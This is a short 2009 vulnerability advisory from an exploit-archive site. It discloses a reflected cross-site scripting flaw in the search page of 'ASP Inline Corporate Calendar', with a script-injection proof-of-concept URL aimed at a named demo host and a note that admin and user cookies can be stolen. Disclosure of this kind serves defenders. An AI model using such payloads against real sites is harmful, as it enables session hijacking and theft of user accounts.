ASP Inline Corporate Calendar ~ XSS Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > ASP Inline Corporate Calendar ~ XSS Vuln.

Madde
	Author : Bug Researchers/CrueLChiLd
	Date : 18.04.2009 16:21:42
	# ASP Inline Corporate Calendar ~ XSS Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : ASP Inline Corporate Calendar # Vulnerable Type : Cross Site Scripting # Infection : Yönetici ve User cookie’leri çalinabilir. # Bug Fix Advice : Zararli karakterler filtrelenmelidir. # author : Bug Researchers/CrueLChiLd # Example : http://private.aaronoutpost.com/myprograms/Demos/Calendar/search.asp?keyword=><script>alert(1)</script>> ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > /Calendar/search.asp?keyword=><script>alert(1)</script>> < -- bug code end of -- >